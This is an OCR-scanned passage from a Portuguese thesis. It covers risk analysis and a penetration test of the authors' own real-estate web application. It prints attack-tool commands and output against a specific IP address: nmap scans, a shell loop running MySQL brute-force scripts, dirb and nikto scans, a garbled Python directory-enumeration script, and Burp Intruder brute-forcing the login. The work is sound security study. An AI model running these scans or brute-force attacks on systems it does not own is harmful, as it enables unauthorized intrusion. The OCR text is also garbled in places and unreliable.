tomada de decisdes. Segundo a Figura 2.14, na Secdo 2.5, essa ferramenta deve ser utilizada em
trés momentos do ciclo de vida do software: antes da construgdo do design, apos a sua constru¢ao
e apos os resultados dos testes de seguranga. Visto que o software estudado ja estd finalizado, a
andlise de risco ocorrerd depois da construcdo do design e apds os testes de seguranca.

Consoante a VERDON; MCGRAW (2004), a anélise de riscos consiste no conhecimento
do aplicativo, sistema ou servigo, discute questdes de segurancga, determina a probabilidade
e impacto, classifica os riscos, desenvolve estratégias de mitigacdo e relata descobertas. A
medida que o leitor avanga na leitura observard que algumas dessas etapas ja foram abordadas

anteriormente. Por conta disso nesta se¢do apresentaremos conclusdes das se¢des anteriores.

5.4.1 Conhecimento do sistema:

O software foi desenvolvido para atender as demandas da construtora RRG Construgdes.
Nele sdo divulgados imodveis para aluguéis e vendas. Ha uma drea interna do sistema que
necessita de autenticacio para acesso. Trés perfis possuem autorizagdo para acessar essa drea,
nos quais sdo: funciondrio, administrador e gerente com seus respectivos privilégios e restri¢des.

Conforme a Figura 5.2, o administrador tem acesso total ao sistema e impdem politicas
administrativas que afetam os funciondrios e o gerente. Essas politicas modificam os privilégios
de cada perfil e consequentemente o layout da tela de cada usudrio. No geral, o sistema opera
da seguinte forma: os usudrios realizam solicitacdes de servicos que sao atendidas pelo sistema
que acessa o banco de dados. Contudo, como pode ser observado nessas solicitacdes ndo ha

tratamento de dados tornando o sistema vulneravel.

5.4.2 Questoes de seguranca:

De acordo com os casos de mau uso, na Secdo 5.2, sdo destacadas as ameacas principais
do sistema RRG Construgdes. As primeiras ameagas, representadas na Figura 5.9, sdo: auten-
ticagdo fraca causada por apenas uma verificagido de usudrio e login e injecao de SQL. Outra
ameaca, na Figura 5.16, é a invasdo de um dos computadores da empresa.

Além disso, ha os perigos identificados na modelagem de ameagas, Se¢do 5.1, nos quais
sdo: ver dados confidenciais do sistema, obten¢ao de senhas do usudrio, manipulacao de dados,
elevagdo de privilégio por meio do servidor web, simulacdo de um servidor web e elevacado de
privilégio ao de administrador.

Essas ameacas sdo classificadas de acordo com o método STRIDE, explanado na Secao
2.5.1. A ameaca de autenticacao fraca seria classificada como revelacio de informagdes, pois
com a auséncia de autenticagcdo o sistema torna-se vulnerdvel a vazamento de dados. Enquanto

que a ameaca de inje¢do de SQL seria categorizada como elevacdo de privilégio, pois um usuario
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ndo autorizado ganharia acesso privilegiado ao banco de dados por meio de alguns comandos.

A ameacga de interceptacdo do trafego na rede € categorizada como revelacao de infor-
macao, pois um usudrio ndo autorizado teria acesso as informagdes que nao deveria. Por fim, a
ameaca de invasdo a um computador € categorizada como elevacao de privilégios e revelacdo de
informagdes, pois o invasor ganha privilégios indevidos quando consegue acessar o computador
e também acesso as informagdes confidenciais.

Quanto aos riscos da modelagem de ameacas, Secdo 5.1.2, sdo categorizadas da seguinte
forma: ver dados confidenciais do sistema e obten¢do de senhas do usudrio sdo classificadas
como revelacdo de informacdo. J4 a manipulagdo de dados € classificada como adulteracao
de dados. Elevacao de privilégio por meio do servidor web e elevacdo de privilégio ao de
administrador sdo categorizadas como elevagdo de privilégios e simulagdo de um servidor web é

classificada como spoofing de identidade.

5.4.3 Determinacao de probabilidade e impacto:

Conforme VERDON; MCGRAW (2004), para determinar a probabilidade de uma ameaga
sd0 necessarios subetapas, como: drvores de ameacas, diagramas de casos de mau uso e andlise
dos controles de seguranca. Observando os diagramas de casos de mau uso, na Secao 5.2, é
notorio a prevaléncia da ameaca de autenticagdo fraca, de acordo com as Figuras 5.9, 5.10, 5.11,
entre outros. Também, em andlise dos sistemas de seguranga ja implementados fica claro a sua
insuficiéncia. Logo, a probabilidade de ocorréncia dessa ameaca € 10, onde 1 € a probabilidade
mais baixa de ocorréncia e 10 é a mais alta.

Quanto ao impacto dessa ameaca, pode ser determinada pela extensdo dos danos aos
ativos e ao negocio. Portanto, considerando que a ameaga de autenticacao fraca € categorizada
como revelagdo de informacgao, a sua pontuagdo é 10, pois esta ameaca permite que o invasor
passe-se por outra pessoa tendo impactos enormes sobre os negdcios da empresa ja que permitiria
a adulteracdo de dados e revelacdo de informacdes confidenciais.

Outra ameacga notéria nos diagramas de mau uso € a adulteracdo de dados sendo a
sua ocorréncia observada trés vezes, nas Figuras 5.12, 5.11 e 5.10, indicando que a sua
probabilidade € alta. Além disso, ndo ha métodos implementados no sistema que mitigue essa
ameaca como assinatura digital, nem sequer ha técnicas de nao repudio implementadas. Logo,
fica claro que a probabilidade de ocorréncia é de 10.

Ao tratarmos dos impactos dessa ameaca que esté classificada como adulteracio de dados
fica claro os danos aos negdcios, pois essa ameaga permite que o usudrio realize alteracdes em
documentos importantes para empresa, logo a sua pontuacao é 10.

Outros perigos encontrados de alta probabilidade estdo nas drvores de ameacas, Secao
5.1.2. A primeira € a ameaga : “V& dados confidenciais do sistema em transito”, na Figura 5.3.
Ela possui uma probabilidade de 10 pontos, pois a conexdo HTTP do sistema estd desprotegida.
Além de ser facilmente reproduzida por meio de um analisador de protocolo. O impacto é de 10

pontos, pois em uma conexado desprotegida e as informacdes podem ser facilmente capturadas.
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A segunda é: “Ganha informac¢des de senha do usudrio”, na Figura 5.4, pois o sistema
possui uma autenticacao fraca e o banco de dados estd vulnerdvel ja que ndo esté criptografado e
ndo possui senhas de acesso. L.ogo, a probabilidade € de 10 pontos. O impacto € alto porque o
acesso as senhas de usudrios pode causar grandes estragos.

As outras ameacas possuem uma probabilidade baixa, mas causam altos impactos para
o sistema. Por exemplo: a ameacga “Eleva privilégio por meio do servidor web” possui uma
probabilidade baixa porque a maneira do invasor tirar proveito dessa ameaca € utilizando de

alguma falha de seguranca no servidor web.

5.4.4 Classificar os riscos:

Para a classificagdo € necessario determinar os riscos que a ameacga impoe e, assim,
priorizar as ameacgas mais danosas (MICHAEL HOWARD, 2005). Logo, para o cédlculo de riscos
sera utilizado o DREAD, (Tabela 5.3).

Tabela 5.3 Tabela DREAD de amecas

Ameacas Dano Reproduzibili-| Explorabilidade | Usudrios Possibilidade | TOTAL
Potencial dade afetados de ser des-
coberto
Acesso nao | 10 10 10 10 10 10

permitido  ao
banco de dados
da aplicacdo

Autenticagdo 10 10 10 10 8 9.6
fraca

Invasdo ao | 10 7 8 8 10 8.6
computador

Vé dados con-| 8 10 7 10 10 9

fidenciais do sis-
tema em transito

Ganha infor- | 10 10 9 10 10 9,8
macoes de senha
do usuario

Manipula dados | 10 5 5 10 10 8
do sistema

Eleva privilégio | 10 2 2 1 10 5
por meio do ser-

vidor web

Spoofing do ser- | 10 2 2 8 10 6,4
vidor web

Eleva privilégio | 10 7 9 10 10 9.2

ao de adminis-
trador
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Conforme observado na Tabela 5.3, as ameacas de dano potencial de 9 e 10 pontos sdao
consideradas ameacgas que permitem ao invasor ultrapassar as barreiras de seguranca e realizar
qualquer procedimento. Também essa pontuacado elevada estd mais associada com a categoria
de elevacgdo de privilégio. A ameaca ““ V€ dados confidenciais do sistema em transito” possui
pontuagdo 8 porque nem todos os dados trafegados na rede sao relevantes.

Quanto a reproduzibilidade com pontuagdo igual a 9 e 10 significa que a ameaca € facil
de fazer ou possui falhas em recursos de seguranga. A invasido de computador possui pontuagao
igual a 7 porque exige certos conhecimentos técnicos para reproduzir o ataque.

Quanto a explorabilidade de 9 e 10 que sdo pontuagdes consideradas altas, as ameagas
recebem essas pontuacdes porque sdo ataques de facil exploracdo, podem ser realizados remota-
mente ou pode-se criar scripts para execucdo automadtica. As ameacas que receberam pontuacao
7 e 8 sdo porque exigem um usudrio local que requer credenciais para atacar o sistema.

Usudrios afetados: pontuacao 10, essas ameagas recebem essa pontuacdo pelo nivel de
usudrios que podem ser prejudicados. A ameaca de invasdao de computador recebe pontuacio 8
porque em alguns casos pode ser invadido um computador com poucos privilégios no sistema.

Possibilidade de descoberta: as ameacas que recebem 10 sdo porque podem ser descober-
tas facilmente. Por exemplo a ameaca de adulteracao de dados pode ser facilmente descoberta
quando sdo alterados documentos importantes (MICHAEL HOWARD, 2005).

5.4.5 Desenvolver estratégias de mitigacao:

A seguir € apresentado a Tabela 5.4 com técnicas de mitigacdo das ameagas apresentadas
(MICHAEL HOWARD, 2005).

Tabela 5.4 Tabela Mitigacdo de Ameacas
Ameagas Técnicas ou Tecnologias
Acesso ndo permitido ao banco de dados | Executar com o menor privilégio.
da aplicacdo

Autenticacdo fraca Autenticacdo adequada.

Invasdo ao computador Execute com o menor privilégio.

V& dados confidenciais do sistema em tran- | Utilizar SSL/TLS.

sito

Ganha informacdes de senha do usudrio | Criptografia e validacao de dados.

Manipula dados do sistema Proteger os dados traficados na rede com
SSL/TLS.

Eleva privilégio por meio do servidor web | Executar o processo seguindo as diretrizes
do menor privilégio.

Spoofing do servidor web Utilizar SSL/TLS permitindo que o soft-
ware cliente autentique o servidor.
Eleva privilégio ao de administrador Executar com o menor privilégio e utilize

SSL/TLS no canal de comunicacio.




100 APRESENTACAO E ANALISE DOS RESULTADOS

As ameacas do tipo elevacdo de privilégios geralmente sdo adotadas técnicas de execucio
com menor privilégio que consistem em fazer o trabalho apenas com os privilégios requerido
pela tarefa e utilizar privilégios pelo menor tempo possivel a fim de reduzir as oportunidades
de explorac@o. Outro motivo para execu¢ao com menor privilégios € que qualquer falha séria
que venha a ocorrer no software causard menos danos se estiver sendo executado com poucos
privilégios (MICHAEL HOWARD, 2005).

Quanto a ameaca de autenticacdo fraca, conforme a Tabela 5.4, a técnica que pode
ser utilizada € o certificado digital. Esta tecnologia funciona como um arquivo eletronico que
reconhece e emite uma assinatura digital, ( Secdo 2.3.1), garantindo integridade, autenticidade e
confidencialidade. Assim, com o certificado digital tem a certeza de que quem estd logado no site
ou em um sistema € quem diz ser. Uma das estratégias de mitigacdo para a ameaga “Vé dados
confidenciais do sistema em transito” € a utiliza¢do da tecnologia de SSL/TLS. Esta tecnologia
permite criptografar o canal entre servidor e cliente.

Para a ameaca de manipulagdo de dados € a utilizacdo da tecnologia SSL/TLS. Além de
criptografar o canal de comunicagao, ela € uma boa alternativa para esse tipo de ameaca, pois ela
fornece codigos de autenticagdo de mensagens para detectar ataques baseados em adulteracdo de
dados. Quanto a ameaca ““ Ganha informagdes de senha do usuario”, as técnicas sdo criptografia
e validag¢do de dados no cliente (browser) e no servidor. A validacdo de dados verifica se os

dados preenchidos estdo corretos. Esse método dificulta o sucesso da Injecao de SQL.

5.5 Teste de penetracao

De acordo com FOUNDATION (2008): “O teste de penetracdo é essencialmente a
"arte"de testar um aplicativo em execugdo remotamente, sem conhecer o funcionamento interno
do préprio aplicativo, para encontrar vulnerabilidades de seguranca.” Em outras palavras
o teste de penetracdo simula ataques maliciosos a fim de encontrar encontrar e explorar as
vulnerabilidades. Sendo esse teste muito usado por profissionais de tecnologia como uma de

suas principais técnicas de testes de seguranca.

5.5.1 Plano de Teste

De acorco com THOMPSON (2005) a primeira etapa em um de teste de seguranca €
criar um modelo de ameaca. Esse modelo estd presente na Secdo 5.1 que possui uma descri¢ao
detalhada dos principais riscos para o software RRG Constru¢do. A préxima etapa é constru¢ao
do plano de teste com base no modelo de ameacga. A seguir s@o apresentados as etapas para

constru¢ao de um plano de testes:

= Objetivo do teste:

Pesquisar o sistema com a finalidade de identificar e analisar as vulnerabilidades

presentes no software RRG Construcdo e garantir a seguranca do mesmo por meio de
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estudos das vulnerabilidades encontradas. O teste € classificado como caixa branca,

pois o testador tem acesso irrestrito as informacdes, inclusive o c6digo e o banco de

dados, a fim de simular o pior cendrio, em que o atacante obtém todas informagdes

do sistema.

s Ambiente de teste:

O ambiente de teste serd uma maquina virtual Windows hospedada no servidor AWS

Amazon. Além disso, para realizar os ataques ao sistema serd utilizado uma maquina

virtual com o sistema Kali Linux.

» Recursos de teste:

Miéquina Kali Linux;
Servidor AWS Amazon;
Software Nmap que realiza scanner completo da rede;

Curl é um software que fornece uma biblioteca e uma ferramenta de linha

de comando para transferir dados usando varios protocolos;
Ferramenta de andlise de cédigo: FindBugs;

Dirb: € uma ferramenta de linha de comando que usa ataques de forca

bruta 4 em diretérios e arquivos baseado em wordlists 3.
Ferramenta de busca de vulnerabilidades em aplicagdes web: Nikto;
Ferramenta para anélise de dados: Burp Suit;

Programa que analisa o trafego de rede: Wireshark;

» Cronograma:

Tabela 5.5 Cronograma Teste de Penetragdo

Atividades 25-31 Maio | 1-6 Junho | 8-13 Junho | 15-20 Junho
Sondagem e Mapeamento X

Identificacdo de Vulnerabilidades X X

Exploracao X X
Documentagdo e Relatério X X

4 Ataque de forca bruta é uma atividade que envolve repetidas tentativas de utilizar varias combinacdes de senha
para invadir sites ou sistemas.
>Wordlist é uma lista com conjuntos de senha de vérios tipos possiveis, que é usada normalmente em programas

de ataques de forca bruta.
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» Decomposicdo do aplicativo em partes fundamentais:

Conforme a modelagem de ameaca, apresentada na Se¢ao 5.1, o sistema foi decom-
posto em processos a fim de identificar componentes que necessitam ser testados,

nos quais sdo: servidor web e o servidor de banco de dados.

s Identificacdo das interfaces dos componentes:

O préximo passo € determinar as interfaces expostas em cada componente. Esse € um
dos passos mais criticos porque pOr a prova o cédigo de interface € a maneira como os
desenvolvedores localizam bugs de seguranca (MICHAEL HOWARD, 2005). Assim
as interfaces, de acordo com os componentes, sdo: interface do usudrio presente na
comunicacao entre os servidor web e banco de dados. Outra interface € a interface

administrativa que d4 acesso irrestrito ao administrador.

5.6 Execucao do teste de penetracao

Neste momento € realizado o teste de penetracdo a fim de identificar e testar as vul-
nerabilidades do sistema RRG Construcdes. O teste € dividido em cinco etapas: sondagem e

mapeamento, identificagdo de vulnerabilidades, pds - exploragdo e o relatério de teste.

5.6.1 Sondagem e Mapeamento

Nesta etapa € realizado o processo de mapeamento e varredura dos recursos do sistema
RRG Construcdes. Dentre as atividades executadas nesta etapa, destacamos: a identificacao de

hosts, portas e servicos em execu¢do, mapeamento da rede e identificacdo do sistema operacional.

5.6.1.1 NMAP

Para identificar os servigos que possam ser vulnerdveis na aplicacio € preciso escanear o
sistema utilizando alguma ferramenta, neste caso serd usado o NMAP, (Secao 2.4), que € uma
bastante conhecido para vizualisar hosts e servigos ativos e até mesmo rodar exploits, de acordo

com a sua base de dados.
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: $ nmap -sV 34.192.244.226
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-06 18:13 EDT

Nmap scan report for ec2-34-192-244-226.compute-1.amazonaws.com (34.192.244.226)

Host is up (@.18s latency).

Not shown: 989 closed ports

PORT STATE SERVICE VERSION

19/tcp  filtered chargen

25/tcp  filtered smtp

80/tcp open http Oracle GlassFish 4.1.1 (Servlet 3.1; JSP 2.3; Java 1.8)
135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3306/tcp open mysql?

3389/tcp open ms-wbt-server Microsoft Terminal Services

4848/tcp open http Oracle GlassFish 4.1.1 (Servlet 3.1; JSP 2.3; Java 1.8)
7676/tcp open java-message-service Java Message Service 301

8181/tcp open ssl/intermapper?

Figura 5.17 Listando os possiveis meios de ataques.

Conforme a Figura 5.17, € possivel identificar as portas e os status (aberta, filtrada ou
fechada), na coluna STATE. Na coluna VERSION estdo as versdes dos servicos rodando em cada
porta. O servidor Glassfish © que serd explorado e testado nas préximas se¢des estd na porta 80.

Outra alternativa € usar o terminal do /inux para criar um pequeno comando, segundo a
Figura 5.18. Esse comando utiliza a linguagem shell script que pode ser executada diretamente
no terminal do Linux. O comando lista tudo que estd na pasta script (onde estdo todos os scripts
da ferramenta em questdo ) e em seguida executa a ferramenta Nmap com cada um dos arquivos

que serdo utilizados como pardmentro pela tag —script e substituidos pelo simbolo $i.

:~$ for i in $(1s /usr/share/nmap/scripts/ | grep mysql); do echo "Script : $i "; nmap -p3306 —script $i 34.192.244.226; done
Script : mysql-audit.nse
Starting Nmap 7.80 ( https://nmap.org ) at 2020-86-89 18:48 EDT
Nmap scan report for ec2-34-192-244-226.compute-1.amazonaws.com (34.192.244.226)
Host is up (@.18s latency).

PORT STATE SERVICE
3306/tcp open mysql

Nmap done: 1 IP address (1 host up) scanned in 1.26 seconds

Script : mysql-brute.nse

Starting Nmap 7.80 ( https://nmap.org ) at 2020-86-89 18:48

NSE: [mysql-brute] usernames: Time limit 10m@@s exceeded.

NSE: [mysql-brute] usernames: Time limit 10m@@s exceeded.

NSE: [mysql-brute] passwords: Time limit 10m@@s exceeded.

Nmap scan report for ec2-34-192-244-226.compute-1,amazonaws.com (34,192.244,226)
Host is up (@.19s latency).

PORT STATE SERVICE
3306/tcp open mysql
mysql-brute:
Accounts: No valid accounts found
_ Statistics: Performed 28143 guesses in 600 seconds, average tps: 46.6

Nmap done: 1 IP address (1 host up) scanned in 6@8.49 seconds

Script : mysql-databases.nse

Starting Nmap 7.80 ( https://nmap.org ) at 2020-86-89 18:58 EDT

Nmap scan report for ec2-34-192-244-226.compute-1.amazonaws.com (34.192.244,226)
Host is up (@.18s latency).

PORT STATE SERVICE
3306/tcp open mysql

Figura 5.18 Nmap com auxilio do Shell script

5.6.1.2 CURL

A segunda ferramenta utilizada para o levantamento de informagdes € o comando CURL,
(Secdo 2.4). A Figura 5.19 apresenta o resultado das informagdes encontradas no sistema RRG
Construgdes. Com o comando “curl -/ 7 € possivel retornar o cabegalho da requisi¢do. Também

observa-se o nome do servidor executado na porta 80 e os campos contidos no cabegalho. O

0 GlassFish é um servidor de aplicagdo liderado pela Sun Microsystems para a plataforma Java.
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cabecalho HTTP permitem ao servidor enviar informacdes adicionais sobre o site, como detalhes

sobre a execucao da solicitagdo, que podem ser interessantes para o atacante.

$ curl -I http://34.192.244.226/WebApplication2/index.html

HTTP/1.1 208 OK
Server: GlassFish Server Open Source Edition 4.1.1

X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition 4.1.1 Java/Oracle Corporation/1.8)
Accept-Ranges: bytes

ETag: W/"8405-1591466878334"

Last-Modified: Sat, @6 Jun 2020 18:07:58 GMT

Content-Length: 8405

Content-Type: text/html

Date: Sat, @6 Jun 2028 22:18:82 GMT

Figura 5.19 Buscando informagdes com o Curl

5.6.1.3 DIRB

Para sondagem e mapeamento de vulnerabilidades foi utilizado a ferramente DIRB,

(Secao 2.4). A seguir € apresentado o resultado da utilizagdo dessa ferramenta, (Figura 5.20).

root@kali:/home/sec# dirb http://34.192.244.226/

DIRB v2.22
By The Dark Raver

START_TIME: Sat Jun 6 13:25:33 2028
URL_BASE: http://34.192.244.226/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4613

---- Scanning URL: http://34.192.244,.226/ ----
= DIRECTORY: http://34.192.244.226/WebApplication2/
+ http://34.192.244,226/index.html (CODE:200|SIZE:4626)

---- Entering directory: http://34.192.244.226/WebApplication2/ ---—-
=> DIRECTORY: http://34.192.244.226/WebApplication2/css/

= DIRECTORY: http://34.192.244.226/WebApplication2/images/

+ http://34.192.244.226/WebApplication2/index.html {CODE:ZEElSIZE:SﬂES}
= DIRECTORY: http://34.192.244.226/WebApplication2/META-INF/

= DIRECTORY: http://34.192.244.226/WebApplication2/WEB-INF/

Figura 5.20 Tela de resultados utilizando a ferramenta DIRB



5.6. EXECUCAO DO TESTE DE PENETRACAO 105

Conforme a Figura 5.20, foi digitado o comando “dirb http:// 34.192.244.228 (URL do
site em questdo )”. Apds isso, com o arquivo de lista de palavras padrdo do Dirb, ele pesquisa a
URL por 4613 tipos de objetos. Assim, o Dirb comega a varredura enviando solicitagdes HTTP e
sendo retornado o cédigo de resposta HTTP de cada solicitacdo. De acordo com a Figura 5.20,
na linha * http:// 34.192.244.228/Application2/index.html” € retornado o cédigo HTTP 200 que
indica requisicao bem sucedida. Logo, foram encontrados os seguintes diretdrios e paginas: /css/,
/images/, /IMETA-INF/ e /-INF/. Caso o aplicacdo tenha diretérios expostos e/ou vulneraveis a

ferramenta apresentara.

5.6.1.4 PYTHON

Outra forma de realizar o levantamento de informacdes do sistema RRG Construgoes
€ por meio de um script em Python. Similar ao DIRB, esse script apresenta os diretorios do

sistema. A seguir € apresentado o script, (Figura 5.21).

import requests

url =

= ( . )
For word 1in -
r = requests.get(str(url)+str(word)[:-])
1f r.status_code = -
( , r.url)

Figura 5.21 Script em Python
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A Figura 5.21 apresenta o cddigo que € bem simples. Primeiro € aberto um wordlist, em
seguida € utilizado todos as palavras do wordlist para atribuir valor a URL sendo retornado o
codigo de status de resposta HTTP. Caso a aplicagdo retorne um codigo 200 quer dizer que a
pagina esta acessivel.

A seguir é apresentado o resultado da execucdo, (Figura 5.22). E exibido do lado
esquerdo o resultado do codigo de status de resposta HTTP (OK) indicando que as paginas

“Application2” e “index.html” estdo disponiveis.

$ python3 dns_force_enum.py
[0K] : http //34.192,244,226/WebApplication2/index. html

[0K] : http /736,192,244 ,226/index. html
L |

Figura 5.22 Resultado da execugéo do script.

5.6.2 Identificacdo de Vulnerabilidades

Uma vez identificados os sistemas e servigos pertencentes a rede em questdo, o proximo
passo € detectar quais deles possuem vulnerabilidades conhecidas ou caminhos que possam ser

explorados para a invasao.

5.6.2.1 NMAP

Com a finalidade de realizar uma varredura mais avancada utilizamos o Nmap junto com
a funcionalidade Nmap Scripting Engine (NSE). 7 Atualmente, conforme SEGINFO (2012),
essa funcionalidade permite detectar backdoors, explorar vulnerabilidades, realizar ataques de
diciondrio e de negacao de servico, detectar malwares remotamente, entre outros.

Para executar as varreduras utilizando os scripts do NSE basta digitar nmap -sC + URL
do sistema a ser testado. Esta varredura utiliza as op¢des padrdo tanto para a descoberta de
hosts quanto para a varredura de portas. Os resultados dessa varredura, (Figura 5.23), sdo a
apresentacdo de atividade do alvo na rede, listagem de portas juntamente com o nome do servigo
utilizado, as portas e saidas dos scripts que tiveram suas condi¢des de execucao satisfeitas.
Conforme a Figura 5.23, o servi¢o GlassFish possui o risco “ PUT DELETE TRACE >3

"De acordo com SEGINFO (2012) NSE é uma funcionalidade do Nmap que permite ao usudrio utilizar,
desenvolver e compartilhar scripts e integra-los as varreduras do Nmap com o objetivo de automatizar tarefas.
8De acordo com SWARM.DEV (2017) esse risco deriva de um método HTTP Options. Esse método descobre
quais opg¢des sdo suportadas por um servidor HTTP enviando uma solicitagio OPTIONS. A partir disso lista
métodos potencialmente perigosos, no caso analisado sdo: PUT, DELETE e TRACE. Os métodos, segundo
BERND STROESSENREUTHER (2016), significam: "PUT - permite que um cliente carregue novos arquivos no
servidor . Um invasor pode explora-lo fazendo upload de arquivos maliciosos ou usando o servidor da vitima como
repositério de arquivos;
Delete: Este método permite que um cliente exclua um arquivo no servidor . Um invasor pode explord-lo como
uma maneira muito simples e direta de desfigurar um site ou montar um ataque DoS;
Trace: Esse método simplesmente retorna ao cliente qualquer sequéncia que tenha sido enviada ao servidor e é
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:~$ sudo nmap -sC 34.192.244.226
[sudo] password for sec:
Starting Mmap 7.88 ( https://nmap.org ) at 2020-06-07 28:23 EDT
Nmap scan report for ec2-34-192-244-226.compute-1.amazonaws.com (34.192.244.226)
Host is up (@.19s latency).
Not shown: 989 closed ports
PORT STATE SERVICE
19/tcp  filtered chargen
25/tcp  filtered smtp
80/tcp open http
http-methods:
_ Potentially risky methods: PUT DELETE TRACE
_http-title: GlassFish Server - Server Running
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3306/tcp open mysql
3389/tcp open ms-wbt-server
rdp-ntilm-info:
Target_Name: ECZAMAZ-26MH&AQ
NetBIOS_Domain_Name: ECZAMAZ-26MH4AQ
NetBIOS_Computer_Name: EC2AMAZ-26MH&AQ
DNS_Domain_Name: EC2AMAZ-26MH&4AQ
DNS_Computer_Name: EC2AMAZ-26MHL4AQ
Product_Version: 10.0.14393
_ System_Time: 2020-06-08T00:23:30+00:00
ssl-cert: Subject: commonName=EC2AMAZ-26MH4AQ
Not valid before: 2020-04-15T18:36:43
_Not valid after: 2020-10-15T18:36:43
_ssl-date: 2020-06-08T00:23:30+00:00; +1s from scanner time.
4848/tcp open appserv-http
7676/tcp open imgbrokerd
8181/tcp open intermapper
|_ssl-date: 2020-06-08T00:24:15+00:00; +2s from scanner time.

Figura 5.23 Script padrdo do Nmap.

5.6.2.2 NIKTO

A préxima ferramenta utillizada é o Nikto. Ele é um verificador de servidor que realiza
testes em servidores, (Secdo 2.4) °. A seguir é apresentado o resultado da execucio, (Figura
5.24).

:~$ sudo nikto -h http://34.192.244.226/WebApplication2/

+ Target IP: 34.192.244.226

+ Target Hostname: 34.192.244.226

+ Target Port: 80

+ Start Time: 2020-06-07 20:50:48 (GMT-4)

+ Server: GlassFish Server Open Source Edition 4.1.1

+ Retrieved x-powered-by header: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition 4.1.1 Java/Oracle Corporation/1.8)

+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS

+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to t
he MIME type

+ No CGI Directories found (use '-C all' to force check all possible dirs)

+ OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.@. The value is "1
72.31.92.192".

+ Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS

+ OSVDB-397: HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server.

+ OSVDB-5646: HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server.

Figura 5.24 Resultado usando o Nikto

Conforme a Figura 5.24, o comando utilizado foi “sudo nikto -h URL . Esse comando

usada principalmente para fins de depuracao. Esse método, originalmente considerado inofensivo, pode ser usado
para montar um ataque conhecido como Cross Site Tracing.

°E importante ressaltar que o Nikto ndo procura por SQL injections e outros problemas dessa categoria. Na
verdade ele vasculha uma aplicacdo web em busca de arquivos ou configuracdes passiveis de serem atacadas.
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realiza uma varredura completa em um host (host € definido na op¢do -h) na porta TCP 80 (porta
utilizada no nosso site). Foram listadas as informacdes sobre o servidor, cabecalhos ausentes e
os diretérios que podem interessar na exploracao. Além disso, foram listadas algumas vunerabili-
dades identificadas como: OSVDB-397, OSVDB-630 e OSVDB-5646, todas sdo vulnerabilidades

que estao presentes na aplicacdo ( ha possibilidades de existirem falsos positivos ).
5.6.3 Exploracao

Essa parte do processo ird testar, com o auxilio de diversas ferramentas, a capacidade do
sistema ser explorado, de acordo com as informacao obtidas anteriormente.

5.6.3.1 Burp Suit

Para os testes de seguranca € util utilizar um proxy para capturar os dados transmitidos
entre o cliente e servidor, (Secdo 2.4). O local escolhido para realizar a intercepgdo sera
o formulario de login da aplicacdo, (Figura 5.25), tendo por objetivo encontrar brechas na

autenticacdo e testar usudrios validos.
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Login

Login

Senha

Entrar Voltar

Figura 5.25 Tela de Login do sistema RRG Construgao.

Antes de comecar os testes, € preciso configurar o proxy adicionando o IP e a porta da
conexao. Por padrao, o IP do Burp € 127.0.0.1:8080, sendo assim, € preciso adicionar esse proxy
no navegador utilizado. H4 diversos médulos para exploracdo, neste exemplo serd utilizado o

modulo Intruder.

Burp Suite Community Edition v2020.5 - Temporary Project

Burp Project Intruder Repeater Window Help

Dashboard | Target [ Proxy | ntruder | Repeater | Sequencer | Decoder | comparer | Extender | Project options | User options |

[ intercept | HTTR history | websockets history | options |

‘ Filter: Hiding CS5, image and general binary content ‘@
# Au|Host | Method | URL | Params | Edited | Status | Length | MIMEtype  Extension | Title | Comment |TLs | IP
1 http://34.192.244 226 POST 1 £ nn 222 HTRAL el 34.192.24.
2 http://34 192.244 226 GET | http://34.192. 244 226/WebApplication2/gerenciar_login.do GlassFish Server -5 34.192.24,
3 hip://34.192.244.226 GET  ffavicon.ico o GlassFish Server Op... 34.192.24]
4 httpi//34.192.244.226 POST  WebApplication2/gerend Document moved 34.192 24|
5 http://34.192.244.226 GET webapplicationz/index.j| =" ISP Page 34.192.24!
<« Send to Repeater Ctri+R Y

Send to Sequencer

[EELRRIN R=sponse Send to Comparer (request)
Send to Comparer (response)

_|(Rew [ params TH“WS Hex Show response in browser

1 POST /WebApplication2/gerenciar_login.do HTTP/1.1 Request in browser >

2 Host: 34.192,244.226

S User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gec

4 Accept: text/html,application/xhtml+xml, application/xml;{ Show new history window

S Accept-Language: en-US,en;g=0.5 Add comment

€ Accept-Encoding: gzip, deflate Highlight >

7 Referer: http://34.192,244,226/WebApplication2/forn_logi

>

Engagement tools [Pro version only] >

5 Content-Type: application/x-www-form-urlencoded Delete item
9 Content-lLength: 23 Clear history
10 Connection: close Copy URL
11 Cookie: JSESSIONID=3245517d46d204co72b7ea78f223 (B 45 ] )
12 Upgrade-Insecure-Requests:
: Copy links
Save item

14 login=adninésenha=adnin
Proxy history documentation

Figura 5.26 Usando Burp Suit.

Para os testes, (Figura 5.26), foi utilizado o método de requisicdo POST, identificada na
imagem com o id igual 1, e enviada para a aba intruder que pode realizar diversas requisicoes.
Ao fazer a requisicao € deixado o histérico dos dados da requisicdo. Em seguida, ela € enviada
para o modulo intruder que iré realizar os testes de forca bruta no formuldrio.

Ao direcionar a requisi¢do ao modulo, € preciso preencher os campos que estdo sendo

usados para fazer a autenticacdo, conforme a Figura 5.27. Nesse caso foi adicionado o login e
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a senha como Payloads.10 Os campos identificados como: ingrid e 2, (Figura 5.27), serdo as

palavras que irdo ser substituidas em cada requisi¢do POST para a aplicacdo.

Bashboard | Target | Proxy [ intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project aptions | User options |
[ Jeal
Target | Positions TPay\uads IOptmns ]

@ Payload Positions

Start attack
Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full
details.
Attack type: | Sniper TJ
1 POST /WebApplication2/gerenciar_login.do HTTP/1.1 . Adds
